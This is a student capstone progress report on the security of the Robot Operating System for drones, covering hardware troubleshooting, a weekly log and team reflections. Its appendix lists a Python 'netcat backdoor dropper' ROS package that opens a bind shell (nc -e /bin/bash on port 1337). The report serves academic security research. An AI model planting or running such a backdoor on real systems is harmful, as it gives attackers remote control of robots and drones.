Oregon State University
College of Engineering

CS Capstone Winter Progress Report

March 24, 2017

Security for Robotics

Prepared for

Oregon State University

Vedanth Narayanan _____ _____
Signature *Date*

Prepared by

Group 50
RoboSec

Zach Rogers _____ _____
Signature *Date*

Abstract

In drones and other networked robotics there is a broad array of security vulnerabilities that can be leveraged in an attack. We will evaluate the ROS to find as many of these security holes as we can and document them. The different vulnerabilities found will be categorized into malware, sensor hacks, network and control channel attacks, and physical breaches. For some of these exploits we may be able to implement solutions, which will also be documented. These findings and any solutions will be added to an ongoing academic effort to make robotics more secure.

Contents

1 Project Recap

We are looking to evaluate the security of the Robotic Operating System, also known as ROS. More specifically, we are looking to evaluate the security of ROS as it pertains to use on Unmanned Vehicles (UV), such as drones. Drones are becoming more and more popular, and continue to gain steam in the hobby, commercial, and military sectors. With this increase in drone use comes the importance of understanding if these devices are secure. Not only can it be dangerous if a drone is hacked and remotely taken over, but it can also be incredibly costly. We hope to evaluate the current state of security, creating a comprehensive threat model while documenting, and possibly patching, any vulnerabilities we find along the way. This work will help towards the larger academic effort to secure drone technology, and will hopefully bring attention to the importance of keeping these devices secure. Having security as an after thought for these devices simply is not an option, and we hope that our work can help push the existing drone market in the right direction.

2 State of the Project

Throughout this term, our project has been moving along pretty steadily, despite some roadblocks getting our drone hardware to work properly. Since we are evaluating ROS, we have been able to put in a lot of work researching and updating our threat models, while creating malicious ROS packages to test some of our exploit ideas. Along with trying to fix our hardware troubles, which will be covered in the next section, I have been putting a lot of work into developing communication related attacks to test against ROS. If we can successfully take over the drone communication channels, we will be able to do just about anything we want. There has also been a lot of work done relating to operating system type attacks, such as ROS packages that will cause denial of service issues by flooding system resources. Due to the hardware issues, however, we have not yet been able to test these approaches on real hardware, thus our data is pretty limited right now.

It is hard for me to evaluate exactly what the current state of the project is; we have research, we have a game plan, and we have a lot of things to test. We just need working hardware to test our ideas in a real-world environment. Many weeks of this term was spent trying to sort these issues out. I also submitted a policy exemption request that would allow me to intercept RF communications for our project, to try and reverse engineer the way our drone communicates. I am still waiting for the results of my initial request from the OSU Security Committee.

3 Roadblocks and Solutions

I spent most of the term trying to fix hardware issues relating to our drone. I had no idea that I would be the only person tasked with doing this, nor did I think I would run into so many problems. The two main problems are outlined below.

3.1 Beaglebone Black and PixHawk Issues

At first I tried to follow these directions to get a Debian image running on the BegaleBone Black(BBB), as suggested by the Ardupilot project [1], though I ran into some stability issues and could not get ROS installed. The BBB would randomly reboot and all 4 blue LED lights would turn on, and I could no longer communicate with the device until I reset it. I was not sure what was causing this to happen, so I looked for alternative methods to get the BBB functioning properly. After speaking with McGrath, it would appear that this was due to the BBB forcing itself into flashing mode, then getting stuck during the process.

I then looked at the ROS documentation for guidance, and it suggests using Ubuntu to get ROS running on the BBB [2]. I tried this, and got Ubuntu ARM 16.04 running on both of our BBBs by following the steps documented in this Beaglebone Linux guide [3]. This Ubuntu install proved to be stable, and I was able to easily get ROS Kinetic installed by following the ROS installation guide, without any issues [4].

Now I was at the point where I needed to get the Pixhawk Fire Cape interfaced with the BBB, which is where all of my problems started. I spent week running into issues, troubleshooting, and trying everything I could think of based on lots of searching around for help online. I just could not get the BBB to see that the Pixhawk was hooked up. I included a log of the device trees failing to register correctly in the appendix at the end of this document. As I realized how much time it was taking me to get the drone working, I knew that I needed help and could not get everything working on my own. My fellow team members were not willing to provide much assistance to the matter, as they hadn't taken the time to understand the ins and outs of our drone's hardware; instead they wanted us to go straight to talking with McGrath for assistance.

3.1.1 Solution

After meeting with McGrath and explaining everything to him, he informed us of a pre-configured image for the BBB that was made for our Pixhawk. However, since our Pixhawk is no longer a supported project, the image was no longer on the Pixhawk vendor website. Lucky for us, McGrath saved a copy of this image and gave me a copy to try. I flashed the new image onto one of our SD cards, and booted up the BBB to see if it would work. I was very excited to see that not only was the Pixhawk talking to the BBB, ROS and everything else we needed was already setup and ready to go. At this point we just needed to hook up all the motors and sensors from the drone and test everything. Finally we were one step closer to having actual hardware to use for our project.

3.2 3DR Radio Connection to PixHawk

While hooking up the BBB and Pixhawk to our drone, we came across another setback. Our 3DR radio cables were not compatible with our Pixhawk; we were given the wrong configuration of connectors to hook up our 3DR GPS unit. This was a roadblock, as I could not get the drone software to start up, as it would fail the safety check procedures, not being able to communicate with the 3DR radio.

3.2.1 Solution

After showing McGrath this problem, he gave us a new cable configuration to try. This new cable seemed to work with our Pixhawk configuration, however we have not yet been able to test everything since getting this cable, due to it being the end of the term.

4 Preliminary Research Results

Since most of my time this term has been spent trying to fix our hardware problems, I have not been able to collect much data regarding my focus on communications attack vector, per my threat model. However, I have made progress on developing ROS packages that will allow me to take control of the drone through a backdoor, or disable the communications through a denial of service type of attack. One of these packages is a Netcat Backdoor Dropper. This package will attempt to launch a reverse shell on the drone while it is running, giving the attacker shell access to the drone while it is flying. This would allow the attacker to run any command they want on the drone while it is flying, which could prove dangerous if successful. I have outlined some of the code in the appendix section of this document.

5 Week by Week Summary and Retrospective

Positives	Deltas	Actions
Progress developing communication attack vector	Need to do real world testing and get data	Get hardware issues sorted so testing can start
Closer to having a working drone	More troubleshooting required	Start on this soon and explore other options if needed
Lots of progress on ROS packages	More to be done for communications suite of exploit tools	Speak with client for ideas
Got OSU policy exemption request put in	Need to discuss next steps	Meet with McGrath an the CISO to discuss requirements

5.1 Week 1

Got our hardware together and organized, as we get ready to get the drones running. Kevin McGrath gave us the pairing cables so we can link the drone controllers to each of our drones. Met with Emily and Dominic to discuss our next steps, and plans to finish our threat modeling. We still need to meet with our client, to go over what we have and to get further direction for the remainder of the term.

5.2 Week 2

McGrath gave us some microSD cards for the BeagleBone Black microcontrollers – I worked to get Ubuntu and ROS running on both boards. Also did some testing to make sure it was working correctly. Next week we plan on meeting up to see if we can get the Pixhawk interfaced and working.

5.3 Week 3

Finally got Ubuntu ARM running on the BeagleBones, along with a working install of ROS!!! It took two all nighters to work through some issues, but everything finally fell into place. We also met with our client, Vee, a couple times this week to discuss our next steps. I was also able to test the PixHawk Cape; we are able to read and write memory via I2C, which is good. Plans over the weekend include getting the drones actually hooked up and seeing if we can get them fully operational. Exciting things ahead!

5.4 Week 4

Got ArduPilot compiled on the Beagle Bone Blacks; we need to setup the PWM connections on the drone, to actually test if this works. This process took several hours, for each BBB. If this fails, we will roll back to an earlier version of Ubuntu and ROS. Week 5 will be when we figure this out, and get the drones flying, finally.

5.5 Week 5

Still having issues regarding the ArduCopter project, seeking assistance trying to get this error message resolved: http://diydrones.com/forum/topics/can-t-connect-to-mavlink-via-usb-panic-ap-baro-read-unsuccessful Speaking with Vee our client next week about this.

5.6 Week 6

After talking with our client, and working on our midterm progress, it was suggested that we go to Kevin McGrath regarding next steps, since we are not getting anywhere getting our drone configuration working. We have solid work done towards ROS packages and exploitation regarding our project; we just don't have hardware for it to run on. The next step during week 7 is to figure out what to do regarding these issues

5.7 Week 7

This week was spent trying to figure out next steps regarding our drone hardware issues. I have been tasked with sending a detailed email to Kevin McGrath, seeking guidance. We also got initial feedback from our client Vee, who wanted to see more detail and info regarding ROS packages in our midterm progress report. We spoke with our TA, Jon, to see how to best accomplish this. Vee, Kevin, and Kirsten were all brought in the loop on this, as there was a disconnect between what the assignment asked for, and what our client was looking for. Right now our focus is getting our hardware situation worked out, and we will fine tune the documentation later on. We hope to meet with Kevin McGrath next week to help figure out what to do with our hardware.

I am also working on communication exploit related ROS packages, after speaking with Vee briefly via Slack on Friday night (24 Feb 2017) – This is the first time I have been told to work on ROS packages, even though Dominic has been working steadily on them for the past several weeks. I hope that my work towards this will help with getting our project moved forward, while trying to work out our real-world hardware issues.

There was also some talk about going towards new hardware, or a virtual robotic environment. Either way, we are still focusing on ROS exploitation, and have been making solid work towards that goal.

5.8 Week 8

We had a morning meeting with McGrath to talk about our issues getting the BBB and Pixhawk 1.6 cape working with our drone. McGrath had a lot of ideas and was incredibly helpful! He provided me with access to a new BBB image to try, that already has the BBB + PixHawk cape device trees setup for you. This Erle Brain image is no longer published online, so we were very thankful that Kevin McGrath had a copy of it to share with us on Box. We also spoke with Kevin about our policy exemption request, so that we can sniff 2.4 Ghz and 900 Mhz RF traffic while on campus – I was given details on what to include in the document to formally request that exemption. We

also had a good discussion regarding methods to intercept this RF traffic, and talked about various SDR (Software Defined Radio) options that we could use – some cheap and some not so cheap.

After the meeting with McGrath I went to the capstone lab to flash the new BBB image to test it – And I am very happy to say that it appears to be working!! The rest of this week will be spent trying to hook up the drone again and see where it leaves us.

5.9 Week 9

This week I wrote up the policy exemption document for McGrath – The OSU Security Council is meeting Monday of Week 10, and discussion of this request is formally on the meeting agenda fingers crossed that it all goes well!

We all met in the capstone lab a few times this week to hook up the drone and see where we are now that we have a working BBB image. We can communicate with our Mission Control software, but only for a moment before we lose contact. We are going to request a pair of MAVLink radios and try this again.

Also during our tinkering, we found that our GPS cable for the 3DR radio doesn't have anywhere to go on our PixHawk 1.6 cape – it appears the cable we were given was for a newer version of the Pixhawk, and no the one we have. After Dominic and Emily spoke with Kevin about this, he gave us another cable to try – he too was a bit perplexed by this. We will be meeting up early next week to give things another go to see where we are.

We also had our final capstone lecture for the term, where we did simulated pitches of our project. We were chosen to do ours in the front of the class, and got some solid feed back doing so. We need to have some solid drone visuals to keep people interested an engaged. At this time we are not sure exactly how to do that, as it seems that we can't have the drones at the expo.

Next week we will be finalizing our end of term documents, including our poster – the deadline for that was dropped on all of us last minute, after being told it would be due at the beginning of next term. But hey, what's a little more stress and pulling your hair out, right?

Oh, I also came across this awesome research paper by the U.S Air Force, regarding exploiting the MAVLink protocol

VULNERABILITY ANALYSIS OF THE MAVLINK PROTOCOL FOR COMMAND AND CONTROL OF UNMANNED AIRCRAFT

DEPARTMENT OF THE AIR FORCE

http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA598977

5.10 Week 10

I was really sick at the beginning of dead week – plagued with a stomach flu and multiple days of trying to manage a 102 degree fever. Because of this my productivity was nonexistent at the beginning of the week. Luckily around Wednesday evening I started to feel better, and was able to start working on end of term documents. Our group worked on our poster, and finished up the draft design of it Thursday night. We also made progress on our final progress reports for the term, and discussed logistics regarding our video we need to do next week. So far progress is smoothly being made as we approach the end of Winter term. Over spring break I plan to do more work on the drone, and getting into more exploitation analysis.

6 Conclusion

Winter Term proved to be one of my most challenging so far; the pressure on me to get the drone working while trying to keep up with all of my other classes and working part time proved to be incredibly difficult. However, through all of this, I have learned a lot. I need to be more direct when seeking assistance, and I need to do so as soon as I run into problems. With spring term around the corner, time is running out and there is still plenty that needs to be done before we can consider this project a success. I just hope that my group can pull together during this final stretch; I know that together we can be successful. The drone is so close to working, and I am so excited to move on to working on my focus of the project. I didn't take on this project to try and get a drone operational, I took on this project to evaluate the security of drones and to hopefully contribute something meaningful to the academic community. I am looking forward to what spring term will bring!

7 Team Evaluation

I believe that everyone in our team put in a lot of hard work this term, and everyone had something to contribute. However, it became clear that our team started to get very fragmented; everyone was so focused on their parts of the project, I started to worry that the project as a whole would suffer. At the start of the term, I thought it would be fun to get the hardware setup with ROS, and to hook up the drone and get it working. I never expected it would be so difficult and that I would run into all of these problems. I also didn't expect to assume the sole responsibility of getting it all working. When seeking help from Emily and Dominic, they were both more concerned with their own aspects of the project to give me any assistance; instead their suggestion was to try and schedule a meeting with McGrath every time I ran into a problem. When trying to seek guidance from our client, Vee, I got the same response. It seemed as if everyone had forgotten the importance of having a working drone; none of the other work is very meaningful if we don't have an actual drone to test it on. Without the drone, our data is useless; we need a real world ROS device. As the term continued, our client shifted his focus towards deliverables; he wanted to see as many ROS packages from us as possible. Dominic did a lot of great work with regards to the ROS packages, and I am excited to test them out. Emily also put in a lot of great work with regards to research and sensor spoofing ideas, and started putting some ROS packages together for that. Before long the focus of the term was creating ROS packages, and not really assisting to get the drone working. Towards the middle of the term I shared these concerns with Emily and Dominic, and they both agreed that we needed to work as a collective so we can be successful. They both helped me on several occasions to seek help from McGrath when I was not able to meet with him due to class our work; my schedule was not very compatible with everyone else's which also made things a bit difficult for us all. I am very thankful that Emily and Dominic both came together to help me once they realized the struggle I was having getting things to work. As our problems started to smooth out, I was able to start putting more work into the communication side of the threat models, and made a lot of great contributions there.

To break things down, I would say that we all share hybrid roles, but for the most part I tend to be more of a technical expert, as I have the most experience with our hardware. Emily is a great research analyst and manager for the team, and is good at keeping us all on track. Dominic is an excellent engineer, and always has insights and ideas that help guide the project.

In terms of measuring the level of contributions by each team member, I think it depends on how much you value deliverables; Dominic contributed the most ROS packages by far. With regards to threat modeling and research, Emily provided the most contributions in that realm. Due to my work with the hardware issues, my contributions were focused around getting our real world stuff working, and figuring out the constraints we may have along the way. Like I stated before, everyone did their part pretty well, though I feel I could have accomplished so much more if it wasn't for the hardware problems.

8 Appendix

A Pixhawk Device Tree Error Log

```
ubuntu@arm:~$ cat /sys/devices/platform/bone_capemgr/slots
 0: PF----  -1
 1: PF----  -1
 2: PF----  -1
 3: PF----  -1
ubuntu@arm:~$ cd ardupilot/
.git/           ArduCopter/     build/          modules/
.github/        ArduPlane/      docs/           tests/
APMrover2/      Tools/          libraries/
AntennaTracker/ benchmarks/     mk/
ubuntu@arm:~$ cd ardupilot/Tools/
ubuntu@arm:~/ardupilot/Tools$ ls
APM2_2560_bootloader  CodeStyle             PPM_decoding     autotest
APM_radio_test        Failsafe              Pozyx            gittools
ArduPPM               Frame_params          PrintVersion.py  mavproxy_modules
ArduPilotMega_demo    GIT_Test              Replay           scripts
ArdupilotMegaPlanner  Hello                 SerialProxy      vagrant
CHDK-Scripts          Linux_HAL_Essentials  Xplane
```

```
CPUInfo               LogAnalyzer           ardupilotwaf
ubuntu@arm:~/ardupilot/Tools$ cd Linux_HAL_Essentials/
ubuntu@arm:~/ardupilot/Tools/Linux_HAL_Essentials$ ls
RCInput_UART  devicetree  pwmpru1   startup.sh
README.md     pru         rcinpru0  startup.sh.old
ubuntu@arm:~/ardupilot/Tools/Linux_HAL_Essentials$ sudo ./startup.sh
[sudo] password for ubuntu:
Usage:
      ./startup.sh load  : to load the capes and firmware
      ./startup.sh reload: to reload firmware
ubuntu@arm:~/ardupilot/Tools/Linux_HAL_Essentials$ sudo ./startup.sh load
Loading Test_Capes...
sh: echo: I/O error
sh: echo: I/O error
sh: echo: I/O error
sh: echo: I/O error
[   88.740799] bone_capemgr bone_capemgr: part_number 'BB-SPI0-PXF-01', version 'N/A'
[   88.746356] bone_capemgr bone_capemgr: slot #7: 'Override Board Name,00A0,Override Manuf,BB-SPI0-PXF-01'
[   88.779919] bone_capemgr bone_capemgr: part_number 'BB-SPI1-PXF-01', version 'N/A'
[   88.785501] bone_capemgr bone_capemgr: slot #8: 'Override Board Name,00A0,Override Manuf,BB-SPI1-PXF-01'
[   88.690634] bone_capemgr bone_capemgr: part_number 'BB-BONE-PRU-05', version 'N/A'
[   88.696397] bone_capemgr bone_capemgr: slot #6: 'Override Board Name,00A0,Override Manuf,BB-BONE-PRU-05'
 0: PF----  -1
 1: PF----  -1
 2: PF----  -1
 3: PF----  -1
 9: P-O-L-   0 Override Board Name,00A0,Override Manuf,am33xx_pwm
e_capemgr/slotsdupilot/Tools/Linux_HAL_Essentials$ cat /sys/devices/platform/bone
 0: PF----  -1
 1: PF----  -1
 2: PF----  -1
 3: PF----  -1
 9: P-O-L-   0 Override Board Name,00A0,Override Manuf,am33xx_pwm
ubuntu@arm:~/ardupilot/Tools/Linux_HAL_Essentials$ cd ../../
```

B Netcat Backdoor Dropper

Netcat Backdoor Service Dropper. Will attempt to spin up netcat as a background process, accepting incoming connections across any available communication interfaces.

Netcat will attempt to be ran if it is already on the system, or will try to run / compile a copy of Netcat in memory, at run time. This is still a work in progress!

Listing 1: Netcat service dropper package

```
#!/usr/bin/python
################################################################################
##              _____________
##             /          ,.\
##            /          /  \\
##       o   /          {   }\
##        `. \ ....      \  / /
##          `. \ \\\\     `' /
##            \ \_____________/
##             \      \ \
##              \      \ \
##               \     _\ \_____________________
##              (`\ /  \ \ ___        "-._      )
##               \ \/  /`-' /,      /`-._"-._ /
```

```
##                ‘/   """""""’      /___ _"-._"-._
##                /___ __ _          ‘-._      ’  /
##                \  RoboSec             "-._ / /
##               __\_____________________ " /
##             /   ’//, ’//’              )__/
##            /      ’///’   ,//’/,      /
##           (.---------------------------./
##            ‘:.                       //
##              ‘======================’’
##                 Security for Robotics
##
##           Oregon State University - CS Capstone
##
##        Zach Rogers - Malicious ROS Package Collection
##
##                  Net Kitty Dropper :3c
##                       nc_drop.py
################################################################################
import os #for os.system calls
#import rospy

#Should we be loud and proud?
VERBOSE = True

def log(text):
    """
    Logging function - Will output text if VERBOSE is set to True, otherwise calls will be ignored.

    Parameters:
    --------------
        * text - String of text to be logged

    """

    if VERBOSE:
        print str(text)

def meow(method="Listening_sys", port="1337", reverse_IP="", reverse_port=""):
    """
    Starts the netcat process, based on the given parameters.

    Parameters:
    --------------
        * method - Which method of netcat to use, these are string values:
            * "Listening_sys" - Listening backdoor, via system call. This will fail if nc is not installed.
            * "Reverse_sys" - Reverse backdoor, via system call. This will fail if nc is not installed.
                * Requires that reverse_IP and reverse_port be set.

        * port - Port for listening, defaulted to 1337, for the lulz.
        * reverse_IP - Reverse IP to connect to, for the reverse shell, if the method is set to
            "Reverse_sys"
        * reverse_port - Reverse port to connect to, if the method is set to "Reverse_sys"

    Nice NC ref: https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
    """

    if method == "Listening_sys":
        os.system(str("nc -l -p ") + str(port) + str(" -e /bin/bash &"))

    else:
        log("method not implemented...")
```

```
def main():
    log("[~] net kitty dropper :3c")
    meow()

if __name__ == '__main__':
    main()
```

References

[1] Ardu. Building bbb linux. [Online]. Available: http://ardupilot.org/dev/docs/building-for-beaglebone-black-on-linux.html

[2] R. O. System. Ros bbb wiki. [Online]. Available: http://wiki.ros.org/BeagleBone

[3] eLinux. Ubuntu on bbb. [Online]. Available: http://elinux.org/BeagleBoardUbuntu

[4] R. O. System. Ros and ubuntu. [Online]. Available: http://wiki.ros.org/kinetic/Installation/Ubuntu